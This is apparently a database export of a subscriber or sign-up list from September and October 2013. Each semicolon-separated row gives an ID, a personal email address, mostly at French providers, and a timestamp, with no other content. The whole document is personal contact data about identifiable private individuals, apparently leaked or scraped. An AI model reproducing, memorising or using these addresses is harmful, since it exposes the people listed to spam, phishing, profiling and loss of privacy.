; ;0 +729;alinemencarelli@hotmail.fr;2013-09-26 12:39:21; ; ;0 +730;fannyrogissart@orange.fr;2013-09-26 12:45:16; ; ;0 +731;joelle.isnardon@gmail.com;2013-09-26 12:51:25; ; ;0 +732;domiebianki@gmail.com;2013-09-26 12:59:27; ; ;0 +733;fanfam@free.fr;2013-09-26 13:03:34; ; ;0 +734;brigitte.guezet@sfr.fr;2013-09-26 13:03:42; ; ;0 +735;sylvieaubepart@yahoo.fr;2013-09-26 13:05:17; ; ;0 +736;szaboflo@yahoo.fr;2013-09-26 13:21:20; ; ;0 +737;stefanie.chollet@orange.fr;2013-09-26 13:29:02; ; ;0 +738;elephant97412@hotmail.fr;2013-09-26 14:01:09; ; ;0 +739;fetita.azorica@neuf.fr;2013-09-26 14:02:38; ; ;0 +741;itioiton@yahoo.fr;2013-09-26 14:25:47; ; ;0 +742;domialonso@sfr.fr;2013-09-26 14:27:36; ; ;0 +743;laurence.levas@free.fr;2013-09-26 14:31:17; ; ;0 +744;dom@bergeron.nom.fr;2013-09-26 14:48:30; ; ;0 +745;valery.villeneuve@orange.fr;2013-09-26 14:49:36; ; ;0 +746;lysiane.roger169@orange.fr;2013-09-26 14:50:01; ; ;0 +747;aeraydin@orange.fr;2013-09-26 14:50:18; ; ;0 +748;bybam@hotmail.fr;2013-09-26 14:51:38; ; ;0 +749;francoise.girou@gmail.com;2013-09-26 15:14:43; ; ;0 +750;horsulic@yahoo.fr;2013-09-26 15:15:08; ; ;0 +751;sauvet57@club-internet.fr;2013-09-26 15:15:10; ; ;0 +752;ignace8398@gmail.com;2013-09-26 15:26:13; ; ;0 +753;bao.04@orange.fr;2013-09-26 15:29:26; ; ;0 +754;isabpena@yahoo.fr;2013-09-26 15:31:25; ; ;0 +755;sophiebalance@neuf.fr;2013-09-26 15:37:05; ; ;0 +756;christine.ludes@laposte.net;2013-09-26 15:38:47; ; ;0 +757;noragiberne@orange.fr;2013-09-26 15:48:59; ; ;0 +758;christiane.lapeyre95@orange.fr;2013-09-26 15:56:03; ; ;0 +759;princesse_tori@yahoo.fr;2013-09-26 15:56:35; ; ;0 +760;valerie.corre@neuf.fr;2013-09-26 16:04:04; ; ;0 +761;chanchancart@hotmail.fr;2013-09-26 16:11:50; ; ;0 +762;nathalie.dossantos13@orange.fr;2013-09-26 16:35:44; ; ;0 +763;pouille84430@gmail.com;2013-09-26 16:39:30; ; ;0 +764;clarcher@sdis02.fr;2013-09-26 16:47:30; ; ;0 +765;bpaolucci@sdis02.fr;2013-09-26 16:47:46; ; ;0 +766;manuevrard@live.fr;2013-09-26 17:09:51; ; ;0 +767;anne.maeght@wanadoo.fr;2013-09-26 17:17:24; ; ;0 +768;jeudy.severine@orange.fr;2013-09-26 17:31:16; ; ;0 +769;boissat.frederic@neuf.fr;2013-09-26 17:37:04; ; ;0 +770;fcj31@hotmail.fr;2013-09-26 17:37:39; ; ;0 +772;fernandezmichele4818@neuf.fr;2013-09-26 17:46:48; ; ;0 +773;Melanie44800@hotmail.fr;2013-09-26 17:48:59; ; ;0 +774;ke-douarnevez@hotmail.fr;2013-09-26 18:14:27; ; ;0 +776;jacquelinemouria@orange.fr;2013-09-26 18:20:26; ; ;0 +777;s.donnat@free.fr;2013-09-26 18:26:49; ; ;0 +778;thalia.art.lestat@gmail.com;2013-09-26 18:29:05; ; ;0 +779;atena-s@live.fr;2013-09-26 18:39:09; ; ;0 +780;perriernicole@sfr.fr;2013-09-26 18:53:44; ; ;0 +781;sophie.touens@free.fr;2013-09-26 19:00:03; ; ;0 +782;claudine.vene@wanadoo.fr;2013-09-26 19:02:52; ; ;0 +785;veronique.mermillod@voila.fr;2013-09-26 19:24:58; ; ;0 +786;elodieosta@hotmail.fr;2013-09-26 19:25:27; ; ;0 +787;fmiger@orange.fr;2013-09-26 19:33:17; ; ;0 +788;brigittebastide@sfr.fr;2013-09-26 19:36:40; ; ;0 +789;gillard14@orange.fr;2013-09-26 19:46:22; ; ;0 +790;sallesdominique@sfr.fr;2013-09-26 20:15:21; ; ;0 +791;wayat.64@gmail.com;2013-09-26 20:16:19; ; ;0 +792;isabelle_bonne@yahoo.Fr;2013-09-26 20:31:03; ; ;0 +793;severinedufresne@free.fr;2013-09-26 20:32:33; ; ;0 +794;sabrinagattuso@orange.fr;2013-09-26 20:38:00; ; ;0 +795;gregory.courtin59199@orange.fr;2013-09-26 20:48:41; ; ;0 +796;thierry.lucquin@free.fr;2013-09-26 21:01:40; ; ;0 +797;odile62.richard@wanadoo.fr;2013-09-26 21:03:11; ; ;0 +798;cecile.conche@yahoo.fr;2013-09-26 21:10:05; ; ;0 +799;amoliviercurti@free.fr;2013-09-26 21:16:22; ; ;0 +800;mjacobson@voila.fr;2013-09-26 21:18:26; ; ;0 +801;richardceline021@hotmail.com;2013-09-26 21:19:12; ; ;0 +802;patricia.bourhis0007@orange.fr;2013-09-26 21:19:58; ; ;0 +803;isarzad@voila.fr;2013-09-26 21:22:28; ; ;0 +804;stauf2011@hotmail.fr;2013-09-26 21:28:52; ; ;0 +805;daphnee.manuel@orange.fr;2013-09-26 21:40:43; ; ;0 +807;litchi_framboise@hotmail.fr;2013-09-26 21:50:12; ; ;0 +808;patte.patricia@hotmail.fr;2013-09-26 22:09:44; ; ;0 +809;robinetseverine@hotmail.com;2013-09-26 22:27:24; ; ;0 +810;campionfr@hotmail.fr;2013-09-26 22:32:32; ; ;0 +811;sab-rina1974@outlook.fr;2013-09-26 22:54:58; ; ;0 +812;sophieludwig1@hotmail.fr;2013-09-26 23:36:10; ; ;0 +813;oliviaattarmorey@gmail.com;2013-09-27 02:44:07; ; ;0 +814;sofdutheil@gmail.com;2013-09-27 08:31:43; ; ;0 +815;gilles.narducci@orange.fr;2013-09-27 08:32:49; ; ;0 +816;murielle.dubois@voila.fr;2013-09-27 09:09:26; ; ;0 +817;mariehelene.lemoual@sfr.fr;2013-09-27 09:25:02; ; ;0 +818;sylvie.grison@free.fr;2013-09-27 09:27:09; ; ;0 +819;natgperso@yahoo.fr;2013-09-27 09:47:57; ; ;0 +820;myriam.thomas14@hotmail.fr;2013-09-27 09:50:00; ; ;0 +821;navarrodeco@orange.fr;2013-09-27 10:33:58; ; ;0 +822;debbyh@hotmail.fr;2013-09-27 10:49:25; ; ;0 +823;syao8482@hotmail.fr;2013-09-27 11:38:34; ; ;0 +824;pumpitup@hotmail.fr;2013-09-27 12:09:22; ; ;0 +825;cat.alice@laposte.net;2013-09-27 12:13:31; ; ;0 +826;marienadine@voila.fr;2013-09-27 12:32:08; ; ;0 +827;mls33400@hotmail.fr;2013-09-27 13:11:21; ; ;0 +828;lucia.petry@yahoo.fr;2013-09-27 13:16:42; ; ;0 +829;isa.jluc.vivier@orange.fr;2013-09-27 13:44:56; ; ;0 +830;matthey-doret-bernadette@orange.fr;2013-09-27 14:15:31; ; ;0 +831;v.isenmann.st@wanadoo.fr;2013-09-27 14:28:26; ; ;0 +832;ch.boulzanne@orange.fr;2013-09-27 15:47:09; ; ;0 +833;nathalie.labouriaux@wanadoo.fr;2013-09-27 15:55:27; ; ;0 +835;patricia.penalver@wanadoo.fr;2013-09-27 16:30:22; ; ;0 +836;rousseletmarie-odile@orange.fr;2013-09-27 16:59:58; ; ;0 +837;isamandier@gmail.com;2013-09-27 17:34:28; ; ;0 +838;elineau.fanfan@orange.fr;2013-09-27 18:05:55; ; ;0 +839;catlinou@hotmail.com;2013-09-27 18:10:33; ; ;0 +840;monny.g@orange.fr;2013-09-27 18:15:21; ; ;0 +841;sophiie.65@hotmail.fr;2013-09-27 18:21:15; ; ;0 +842;sylvieblaevoet@gmail.com;2013-09-27 18:59:11; ; ;0 +843;sevilla.pascale@voila.fr;2013-09-27 19:04:11; ; ;0 +844;ingridvuillet@gmail.com;2013-09-27 19:18:48; ; ;0 +845;pascalemary@free.fr;2013-09-27 19:22:40; ; ;0 +846;agnesgribouille@hotmail.fr;2013-09-27 19:55:27; ; ;0 +847;veronique.barioulet@hotmail.fr;2013-09-27 20:15:35; ; ;0 +848;ouridabelkhir@hotmail.fr;2013-09-27 20:54:02; ; ;0 +849;marieange.bouin@orange.fr;2013-09-27 21:06:48; ; ;0 +850;lkaruna@orange.fr;2013-09-27 21:09:04; ; ;0 +851;chantalgosselin0608@orange.fr;2013-09-27 21:10:43; ; ;0 +852;edith28@hotmail.fr;2013-09-27 21:23:15; ; ;0 +853;esbrice@hotmail.fr;2013-09-27 21:35:00; ; ;0 +854;chgdecruz@hotmail.fr;2013-09-27 21:54:02; ; ;0 +855;g.hardy@orange.fr;2013-09-27 22:25:52; ; ;0 +856;vanbreu@wanadoo.fr;2013-09-27 22:30:33; ; ;0 +857;claire.chaudet@gmail.com;2013-09-27 22:37:35; ; ;0 +858;m06serrano@orange.fr;2013-09-27 22:54:40; ; ;0 +859;fanfantahiti@mail.pf;2013-09-27 23:06:18; ; ;0 +860;gironagwen@yahoo.fr;2013-09-28 02:59:59; ; ;0 +861;mariejo77@yahoo.fr;2013-09-28 06:34:16; ; ;0 +862;melanie.accart@orange.fr;2013-09-28 07:52:44; ; ;0 +863;cbott@wanadoo.fr;2013-09-28 08:36:00; ; ;0 +864;mjdelassus@yahoo.fr;2013-09-28 09:41:23; ; ;0 +865;leonstephanie73@orange.fr;2013-09-28 09:47:40; ; ;0 +866;sarah.allais@wanadoo.fr;2013-09-28 09:59:54; ; ;0 +867;nathalie.rainereau@orange.fr;2013-09-28 10:20:42; ; ;0 +868;verne.catherine@sfr.fr;2013-09-28 10:37:12; ; ;0 +869;helenebotte@sfr.fr;2013-09-28 11:06:02; ; ;0 +870;vasseur.julie@ymail.com;2013-09-28 11:07:11; ; ;0 +872;francette.foureau@sfr.fr;2013-09-28 12:10:34; ; ;0 +873;pjean.regazzacci@orange.fr;2013-09-28 12:12:07; ; ;0 +874;patsf@sfr.fr;2013-09-28 12:15:14; ; ;0 +875;eve.cruz@dbmail.com;2013-09-28 13:11:19; ; ;0 +876;c2mangeot@gmail.com;2013-09-28 13:32:31; ; ;0 +877;gillette.ms@gmail.com;2013-09-28 14:27:07; ; ;0 +878;sylvainbrague@orange.fr;2013-09-28 14:40:23; ; ;0 +879;celinelamalvinoise@gmail.com;2013-09-28 14:48:25; ; ;0 +880;kidomdom@hotmail.fr;2013-09-28 15:23:53; ; ;0 +881;linejac.cabon@sfr.fr;2013-09-28 15:36:41; ; ;0 +882;martineverniest@sfr.fr;2013-09-28 17:19:25; ; ;0 +883;martine.lacroix@orange.fr;2013-09-28 17:22:13; ; ;0 +884;mariethefig@yahoo.fr;2013-09-28 17:41:40; ; ;0 +885;rubin.francis@wanadoo.fr;2013-09-28 17:51:03; ; ;0 +886;pharmacie.laurens@wanadoo.fr;2013-09-28 20:51:13; ; ;0 +887;itou.marielle@orange.fr;2013-09-28 21:13:50; ; ;0 +888;jtaillard25@aol.com;2013-09-28 21:26:11; ; ;0 +889;christine.dehay@laposte.net;2013-09-28 22:15:36; ; ;0 +890;christine.thiery@laposte.net;2013-09-29 00:23:30; ; ;0 +891;misssparksx@yahoo.com;2013-09-29 00:44:39; ; ;0 +892;claire_lucchesi@yahoo.fr;2013-09-29 11:06:02; ; ;0 +893;nadine.petrou@laposte.net;2013-09-29 12:09:29; ; ;0 +894;sandrineetlorenso@hotmail.fr;2013-09-29 13:17:45; ; ;0 +895;cdrlnature@free.fr;2013-09-29 13:30:01; ; ;0 +896;cako83240@hotmail.com;2013-09-29 14:09:22; ; ;0 +897;h.christol@hotmail.fr;2013-09-29 14:11:16; ; ;0 +898;christine.tissier00@orange.fr;2013-09-29 15:16:57; ; ;0 +899;sandrinecarrette@orange.fr;2013-09-29 16:08:12; ; ;0 +900;laurencevitse@yahoo.fr;2013-09-29 17:46:25; ; ;0 +901;c.herbreteau02@orange.fr;2013-09-29 19:14:51; ; ;0 +902;vanessa.garderet@yahoo.fr;2013-09-29 19:55:11; ; ;0 +903;martinerousse@orange.fr;2013-09-29 21:25:24; ; ;0 +904;helemartin@wanadoo.fr;2013-09-29 21:53:35; ; ;0 +905;clothilde_vialle@yahoo.fr;2013-09-29 21:59:53; ; ;0 +906;vanleefdaellaetitia.van@orange.fr;2013-09-29 22:39:45; ; ;0 +907;nathalie.albertazzi@gmail.com;2013-09-30 08:27:29; ; ;0 +908;martine.bolland@orange.fr;2013-09-30 08:41:57; ; ;0 +909;francewalter@gmail.com;2013-09-30 09:12:49; ; ;0 +910;ad.geoffroy@gmail.com;2013-09-30 09:15:10; ; ;0 +911;evy17@free.fr;2013-09-30 09:15:55; ; ;0 +912;veroniqueschnoering@hotmail.com;2013-09-30 09:35:05; ; ;0 +913;evelyne.pinies@orange.fr;2013-09-30 10:35:20; ; ;0 +914;dyouly@hotmail.fr;2013-09-30 11:03:18; ; ;0 +915;pat.berthomieu@gmail.com;2013-09-30 12:18:12; ; ;0 +916;sylvie.soulaigre@laposte.net;2013-09-30 12:26:09; ; ;0 +917;akazaouditou@gmail.com;2013-09-30 13:17:28; ; ;0 +918;tequiladrenaline@gmail.com;2013-09-30 13:27:37; ; ;0 +919;mireillela-spina@neuf.fr;2013-09-30 16:33:26; ; ;0 +921;villazea@wanadoo.fr;2013-09-30 17:30:50; ; ;0 +922;martine.delia@wanadoo.fr;2013-09-30 17:54:25; ; ;0 +923;tchentou@hotmail.fr;2013-09-30 18:34:46; ; ;0 +924;m.lov2013@yandex.ru;2013-09-30 19:10:43; ; ;0 +925;briattebd@free.fr;2013-09-30 19:11:05; ; ;0 +926;mcquetel@free.fr;2013-09-30 19:21:05; ; ;0 +927;emiliegardien@free.fr;2013-09-30 20:17:32; ; ;0 +928;dom.hy@orange.fr;2013-09-30 20:46:42; ; ;0 +929;v.ravel@wanadoo.fr;2013-09-30 20:58:32; ; ;0 +931;claude.masson0618@orange.fr;2013-09-30 21:50:28; ; ;0 +932;nathalie.felix1@gmail.com;2013-09-30 22:24:55; ; ;0 +933;madrise@neuf.fr;2013-09-30 22:37:12; ; ;0 +934;labendj@gmail.com;2013-09-30 23:05:10; ; ;0 +935;k.ahinna@hotmail.fr;2013-10-01 01:26:26; ; ;0 +936;annecal@hotmail.fr;2013-10-01 09:40:08; ; ;0 +937;iris.89@hotmail.fr;2013-10-01 12:53:04; ; ;0 +938;BERNARDBASS02@SFR.FR;2013-10-01 13:50:48; ; ;0 +939;hcosta@athanor.net;2013-10-01 16:36:15; ; ;0 +940;corinne.breit@orange.fr;2013-10-01 16:52:22; ; ;0 +941;sophieetmarco2011@hotmail.fr;2013-10-01 18:13:52; ; ;0 +942;cnicole@gmx.fr;2013-10-01 18:23:05; ; ;0 +943;aleyrangueslaure@gmail.com;2013-10-01 18:32:09; ; ;0 +944;bea.gautero@gmail.com;2013-10-01 19:29:57; ; ;0 +945;missrammstein15@msn.com;2013-10-01 21:00:34; ; ;0 +946;bats25@free.fr;2013-10-01 22:06:10; ; ;0 +947;titevivie83@hotmail.com;2013-10-01 22:43:32; ; ;0 +948;audrem.joelle@orange.fr;2013-10-01 23:03:10; ; ;0 +949;josette.ayma@laposte.net;2013-10-01 23:11:01; ; ;0 +950;75.babymag@gmail.com;2013-10-01 23:26:59; ; ;0 +951;florence.76230@hotmail.fr;2013-10-02 09:28:41; ; ;0 +953;tutti83330@hotmail.com;2013-10-02 12:48:23; ; ;0 +954;aurelie83330@gmail.com;2013-10-02 12:48:43; ; ;0 +955;veroniquebouvattier@yahoo.fr;2013-10-02 14:09:48; ; ;0 +956;abret42@gmail.com;2013-10-02 14:35:22; ; ;0 +957;koreiz@bluewin.ch;2013-10-02 16:12:36; ; ;0 +958;gaelle.nimal@orange.fr;2013-10-02 16:31:02; ; ;0 +959;natahlie.klein@free.fr;2013-10-02 16:40:14; ; ;0 +960;marcelle.fortrie@numericable.fr;2013-10-02 16:41:58; ; ;0 +961;vpc.jouvance@gmail.com;2013-10-02 16:42:05; ; ;0 +962;Laurence.bis@orange.fr;2013-10-02 19:58:18; ; ;0 +963;soulardchloe@hotmail.fr;2013-10-02 21:14:41; ; ;0 +964;katecaffe@hotmail.fr;2013-10-02 21:43:28; ; ;0 +966;sylvie.graham@free.fr;2013-10-02 22:14:26; ; ;0 +967;josiane.charriau@dbmail.com;2013-10-02 23:48:33; ; ;0 +968;nuriajo@hotmail.fr;2013-10-03 00:20:45; ; ;0 +969;marie-noelle.patte@orange.fr;2013-10-03 07:40:28; ; ;0 +970;didier.bournat091@orange.fr;2013-10-03 10:24:42; ; ;0 +971;mjdeballesteros@yrahoo.f;2013-10-03 12:30:37; ; ;0 +972;mpierre.dejonghe@gmail.com;2013-10-03 17:18:06; ; ;0 +973;clairehouadec@yahoo.fr;2013-10-03 19:23:20; ; ;0 +974;isabelle.jeanlhermitte@laposte.net;2013-10-03 20:17:09; ; ;0 +975;sevy48@hotmail.com;2013-10-03 21:27:56; ; ;0 +976;laulie9@hotmail.fr;2013-10-03 23:03:23; ; ;0 +977;maudperverie@gmail.com;2013-10-04 02:20:22; ; ;0 +978;gatin.francoise@orange.fr;2013-10-04 08:47:21; ; ;0 +979;laurencebas@wanadoo.fr;2013-10-04 11:59:04; ; ;0 +980;emengi@hotmail.nl;2013-10-04 13:06:28; ; ;0 +981;mona.assas@yahoo.fr;2013-10-04 16:37:15; ; ;0 +982;jeromepascale.texier@laposte.net;2013-10-04 17:06:10; ; ;0 +983;nilsfabi@hotmail.com;2013-10-04 17:19:21; ; ;0 +984;elodelt@LIVE.FR;2013-10-04 18:12:09; ; ;0 +985;aune.le.cherif@numericable.fr;2013-10-04 19:29:13; ; ;0 +986;cristhal@hotmail.fr;2013-10-05 10:09:47; ; ;0 +987;jmbouchard13@orange.fr;2013-10-05 10:25:02; ; ;0 +988;renaud.guenola@orange.fr;2013-10-05 12:26:55; ; ;0 +989;yoamodia@aol.fr;2013-10-05 15:05:54; ; ;0 +990;jean-pierre.rouger63@wanadoo.fr;2013-10-05 16:04:39; ; ;0 +991;Pdelasoie@hotmail.com;2013-10-05 16:34:26; ; ;0 +992;caroline.clara1407@gmail.com;2013-10-05 17:24:08; ; ;0 +993;sophieeyraud@hotmail.fr;2013-10-05 19:33:31; ; ;0 +994;marie.trouilh@laposte.net;2013-10-05 21:00:15; ; ;0 +995;marlenefugere@gmail.com;2013-10-05 21:32:18; ; ;0 +996;delphrei@calixo.net;2013-10-06 08:33:34; ; ;0 +997;karinecorine@hotmail.fr;2013-10-06 10:29:40; ; ;0 +998;silvie.jean-jacques@laposte.net;2013-10-06 13:14:42; ; ;0 +999;leterrier81@aliceadsl.fr;2013-10-06 14:33:28; ; ;0 +1000;alaure.leger@gmail.com;2013-10-06 15:01:59; ; ;0 +1001;danielle_fievet@hotmail.com;2013-10-06 15:44:52; ; ;0 +1002;lucille.durremberger@wanadoo.fr;2013-10-06 17:30:34; ; ;0 +1003;cjpoison@yahoo.fr;2013-10-06 17:51:22; ; ;0 +1004;o.cuberes@laposte.net;2013-10-06 18:12:18; ; ;0 +1005;vnadjarian@yahoo.fr;2013-10-06 18:36:59; ; ;0 +1006;patricia.bayle@yahoo.fr;2013-10-06 20:49:18; ; ;0 +1007;aumaks@yahoo.fr;2013-10-07 00:14:04; ; ;0 +1008;jpcharey@laposte.net;2013-10-07 07:51:59; ; ;0 +1009;sab.liautaud@hotmail.fr;2013-10-07 09:41:28; ; ;0 +1010;nriquier@free.fr;2013-10-07 10:57:14; ; ;0 +1011;a.groussard@laureselignac.fr;2013-10-07 11:10:25; ; ;0 +1012;stak1@free.fr;2013-10-07 14:40:48; ; ;0 +1013;myriametphil@wanadoo.fr;2013-10-07 15:44:00; ; ;0 +1014;monique.dejay@wanadoo.fr;2013-10-07 16:09:54; ; ;0 +1015;natilg@hotmail.fr;2013-10-07 21:43:10; ; ;0 +1016;sonia.livet@orange.fr;2013-10-07 21:51:11; ; ;0 +1017;pomme-cannelle@club-internet.fr;2013-10-07 22:52:10; ; ;0 +1018;STOOFY2@GMAIL.COM;2013-10-08 10:27:58; ; ;0 +1019;sterenn27@gmail.com;2013-10-08 11:09:50; ; ;0 +1020;julie.tracol@fleishmaneurope.com;2013-10-08 12:49:37; ; ;0 +1021;mybeautybazaarsite@gmail.com;2013-10-08 14:10:11; ; ;0 +1022;sandra-amen@hotmail.fr;2013-10-08 15:54:11; ; ;0 +1023;caro7798@gmail.com;2013-10-08 19:09:24; ; ;0 +1024;marycharlott@free.fr;2013-10-08 20:51:34; ; ;0 +1025;evelyne.manalich@yahoo.fr;2013-10-08 23:12:37; ; ;0 +1026;crochet.3am@wanadoo.fr;2013-10-09 12:50:09; ; ;0 +1027;winnie256@laposte.net;2013-10-09 13:41:47; ; ;0 +1028;brasseurfrancine@orange.fr;2013-10-09 14:46:31; ; ;0 +1029;melo.masson@gmail.com;2013-10-09 18:13:47; ; ;0 +1030;asvp56@hotmail.fr;2013-10-09 19:35:05; ; ;0 +1031;sandrou621757@orange.fr;2013-10-10 09:46:32; ; ;0 +1034;annickcastan@yahoo.fr;2013-10-10 11:39:00; ; ;0 +1035;stephanie.g@voila.fr;2013-10-10 15:03:46; ; ;0 +1036;tineducledou@hotmail.fr;2013-10-10 18:27:43; ; ;0 +1037;penaspatricia@gmail.com;2013-10-11 09:50:28; ; ;0 +1040;brigitte.zalewski@free.fr;2013-10-11 16:38:22; ; ;0 +1041;pharmacie.rollando@perso.alliadis.net;2013-10-11 17:00:23; ; ;0 +1042;c.pillotfauvel@orange.fr;2013-10-11 17:57:41; ; ;0 +1044;totinadu34@hotmail.fr;2013-10-11 21:15:42; ; ;0 +1045;annemarie.nanot@hotmail.fr;2013-10-11 22:27:31; ; ;0 +1046;marie-claire.thomas@hotmail.fr;2013-10-12 09:39:45; ; ;0 +1047;nadine.martin0442@orange.fr;2013-10-12 16:30:09; ; ;0 +1049;janemach0507@gmail.com;2013-10-12 18:51:15; ; ;0 +1050;aurelie.dalcin@live.fr;2013-10-13 08:48:00; ; ;0 +1051;lamy.vero@yahoo.fr;2013-10-13 11:24:27; ; ;0 +1052;megmaria69@live.fr;2013-10-13 12:19:20; ; ;0 +1053;muriel.szalata@sfr.fr;2013-10-13 12:44:25; ; ;0 +1054;simone.duronsoy@orange.fr;2013-10-13 18:46:00; ; ;0 +1055;mlachaud63@yahoo.fr;2013-10-13 22:34:23; ; ;0 +1056;bertrice.roger@orange.fr;2013-10-14 04:23:20; ; ;0 +1057;carine2401@hotmail.fr;2013-10-14 11:31:11; ; ;0 +1058;dominique.delabrosse@gmail.com;2013-10-14 13:59:36; ; ;0 +1059;tomoyo4@voila.fr;2013-10-14 16:21:56; ; ;0 +1060;steph.bohn@hotmail.fr;2013-10-14 16:21:57; ; ;0 +1061;nathalievlmgn@hotmail.com;2013-10-14 16:22:03; ; ;0 +1062;sophie.abiven@gmail.com;2013-10-14 16:24:50; ; ;0 +1063;shabia.costa@gmail.com;2013-10-14 16:25:57; ; ;0 +1064;maude97167@hotmail.fr;2013-10-14 16:26:34; ; ;0 +1066;jo.lou@wanadoo.fr;2013-10-14 16:27:27; ; ;0 +1067;melanie_renaudier@yahoo.fr;2013-10-14 16:27:27; ; ;0 +1068;katstef10@yahoo.fr;2013-10-14 16:28:08; ; ;0 +1069;verolaulo.08@orange.fr;2013-10-14 16:29:36; ; ;0 +1070;taygasuny@hotmail.com;2013-10-14 16:33:29; ; ;0 +1071;aurelielandolt@gmail.com;2013-10-14 16:33:30; ; ;0 +1072;sarbae@gmail.com;2013-10-14 16:41:41; ; ;0 +1073;annecourtel@gmail.com;2013-10-14 16:44:47; ; ;0 +1074;sgtoffee@yahoo.fr;2013-10-14 16:46:02; ; ;0 +1075;nejma-dor@hotmail.fr;2013-10-14 16:46:11; ; ;0 +1076;marine.guilbault@hotmail.fr;2013-10-14 16:46:52; ; ;0 +1077;virginievu@gmx.fr;2013-10-14 16:47:23; ; ;0 +1078;choup84@orange.fr;2013-10-14 16:51:48; ; ;0 +1079;laet.prevost@gmail.com;2013-10-14 16:57:29; ; ;0 +1080;alinette20169@hotmail.fr;2013-10-14 16:57:44; ; ;0 +1081;h.boulais@laposte.net;2013-10-14 16:59:01; ; ;0 +1082;babsams13@gmail.com;2013-10-14 17:03:55; ; ;0 +1083;ma.tuffeau@hotmail.fr;2013-10-14 17:04:45; ; ;0 +1084;chapatix@gmail.com;2013-10-14 17:08:50; ; ;0 +1085;s.v.91@hotmail.fr;2013-10-14 17:15:20; ; ;0 +1086;slechauve@hotmail.fr;2013-10-14 17:17:23; ; ;0 +1087;vania.unga@wanadoo.fr;2013-10-14 17:18:46; ; ;0 +1088;mme.laurentbrigitte@laposte.net;2013-10-14 17:21:58; ; ;0 +1089;cecilelerede@orange.fr;2013-10-14 17:29:27; ; ;0 +1090;carodelemos@hotmail.com;2013-10-14 17:36:27; ; ;0 +1091;avabracconi@ymail.com;2013-10-14 17:38:51; ; ;0 +1092;mathilde.bonnot@gmail.com;2013-10-14 17:47:41; ; ;0 +1093;juliepierrat30@gmail.com;2013-10-14 17:50:50; ; ;0 +1094;elisette25@hotmail.com;2013-10-14 18:17:06; ; ;0 +1095;emily34570@hotmail.fr;2013-10-14 18:18:53; ; ;0 +1096;emilieetsonnuage@hotmail.fr;2013-10-14 18:24:22; ; ;0 +1097;mipcoco@yahoo.fr;2013-10-14 18:32:06; ; ;0 +1098;mariejustine.carlier@gmail.com;2013-10-14 18:36:37; ; ;0 +1099;saburnin@live.fr;2013-10-14 18:37:59; ; ;0 +1101;romi974@gmx.fr;2013-10-14 18:49:20; ; ;0 +1102;aure2life@gmail.com;2013-10-14 18:57:22; ; ;0 +1103;aureliatillier@hotmail.com;2013-10-14 18:57:31; ; ;0 +1104;aurelia.guillaume@gmail.com;2013-10-14 18:57:46; ; ;0 +1105;ktycat-s@hotmail.fr;2013-10-14 19:01:50; ; ;0 +1106;dorothyange@voila.fr;2013-10-14 19:08:11; ; ;0 +1107;n.gauvrit@hotmail.fr;2013-10-14 19:10:27; ; ;0 +1108;vasse.claire@neuf.fr;2013-10-14 19:30:35; ; ;0 +1109;sylvia_fussler@yahoo.fr;2013-10-14 19:47:35; ; ;0 +1110;romain.sebastien@neuf.fr;2013-10-14 20:01:15; ; ;0 +1111;cpierre34@free.fr;2013-10-14 20:07:23; ; ;0 +1112;anne-heleneclugery@voila.fr;2013-10-14 20:08:35; ; ;0 +1113;christel.dargagnon@free.fr;2013-10-14 20:10:53; ; ;0 +1114;mathilde.mariaud@hotmail.fr;2013-10-14 20:22:34; ; ;0 +1115;yvettewagner@orange.fr;2013-10-14 20:24:11; ; ;0 +1116;marie.dumont@live.fr;2013-10-14 20:49:46; ; ;0 +1117;jjjulia21@hotmail.fr;2013-10-14 20:59:25; ; ;0 +1118;masselot.nathalie@orange.fr;2013-10-14 21:11:02; ; ;0 +1119;pinkperl@hotmail.fr;2013-10-14 21:18:00; ; ;0 +1120;rosemandell@gmail.com;2013-10-14 21:29:58; ; ;0 +1121;camillethomas89@gmail.com;2013-10-14 21:32:44; ; ;0 +1122;ninie.berland44@hotmail.fr;2013-10-14 22:11:19; ; ;0 +1123;josephinefilliot@hotmail.fr;2013-10-14 22:45:25; ; ;0 +1124;angel3392@voila.fr;2013-10-14 22:48:35; ; ;0 +1125;stephanie.jaubert@voila.fr;2013-10-14 23:14:48; ; ;0 +1126;gisele.marie@free.fr;2013-10-14 23:16:43; ; ;0 +1127;diodae@hotmail.com;2013-10-14 23:56:43; ; ;0 +1128;lafeeduciel@live.fr;2013-10-15 04:48:08; ; ;0 +1129;Tiphaine.vanacker@hotmail.fr;2013-10-15 06:18:57; ; ;0 +1130;olivialice@live.fr;2013-10-15 09:06:56; ; ;0 +1131;samtatale@gmail.com;2013-10-15 09:13:34; ; ;0 +1132;samanthasheppard999@hotmail.com;2013-10-15 09:13:43; ; ;0 +1133;gamalipette@hotmail.com;2013-10-15 09:53:33; ; ;0 +1134;n.meddahi@laposte.net;2013-10-15 10:03:56; ; ;0 +1135;desbois.francoise@wanadoo.fr;2013-10-15 10:58:09; ; ;0 +1137;aurelie.weirauch@gmail.com;2013-10-15 13:09:50; ; ;0 +1138;sitz.laetitia@club-internet.fr;2013-10-15 13:47:35; ; ;0 +1139;annie.lacoche@orange.fr;2013-10-15 14:45:46; ; ;0 +1140;laurence.chantrel@yahoo.fr;2013-10-15 14:55:30; ; ;0 +1141;jmltt@wanadoo.fr;2013-10-15 15:03:16; ; ;0 +1142;sylviane.blanchard@neuf.fr;2013-10-15 16:48:05; ; ;0 +1143;dominique.blanc.paul@gmail.com;2013-10-15 17:11:06; ; ;0 +1144;cookies.flo@gmail.fr;2013-10-15 18:25:47; ; ;0 +1145;emma.battaglia@wanadoo.fr;2013-10-15 18:50:13; ; ;0 +1146;pamelarenault@hotmail.fr;2013-10-15 19:52:13; ; ;0 +1147;cottegigi@free.fr;2013-10-15 20:07:47; ; ;0 +1148;cel.jea@gmail.com;2013-10-15 20:17:23; ; ;0 +1149;Usha_@hotmail.fr;2013-10-15 21:18:12; ; ;0 +1150;vittolaf@hotmail.fr;2013-10-15 21:58:00; ; ;0 +1151;mariethirion13@hotmail.com;2013-10-15 23:46:12; ; ;0 +1152;Delph.begue@gmail.com;2013-10-16 00:05:47; ; ;0 +1153;vanelouan@gmail.com;2013-10-16 10:12:25; ; ;0 +1154;xuwenying@hotmail.fr;2013-10-16 10:38:32; ; ;0 +1155;maryline.coulomb@hotmail.fr;2013-10-16 11:06:24; ; ;0 +1156;loliamsoph@hotmail.fr;2013-10-16 11:10:35; ; ;0 +1157;catherine.regnier302@orange.fr;2013-10-16 11:47:04; ; ;0 +1158;mapylou09@orange.fr;2013-10-16 14:34:43; ; ;0 +1159;arwenne002@hotmail.fr;2013-10-16 15:14:29; ; ;0 +1160;roxane.livon@free.fr;2013-10-16 15:41:43; ; ;0 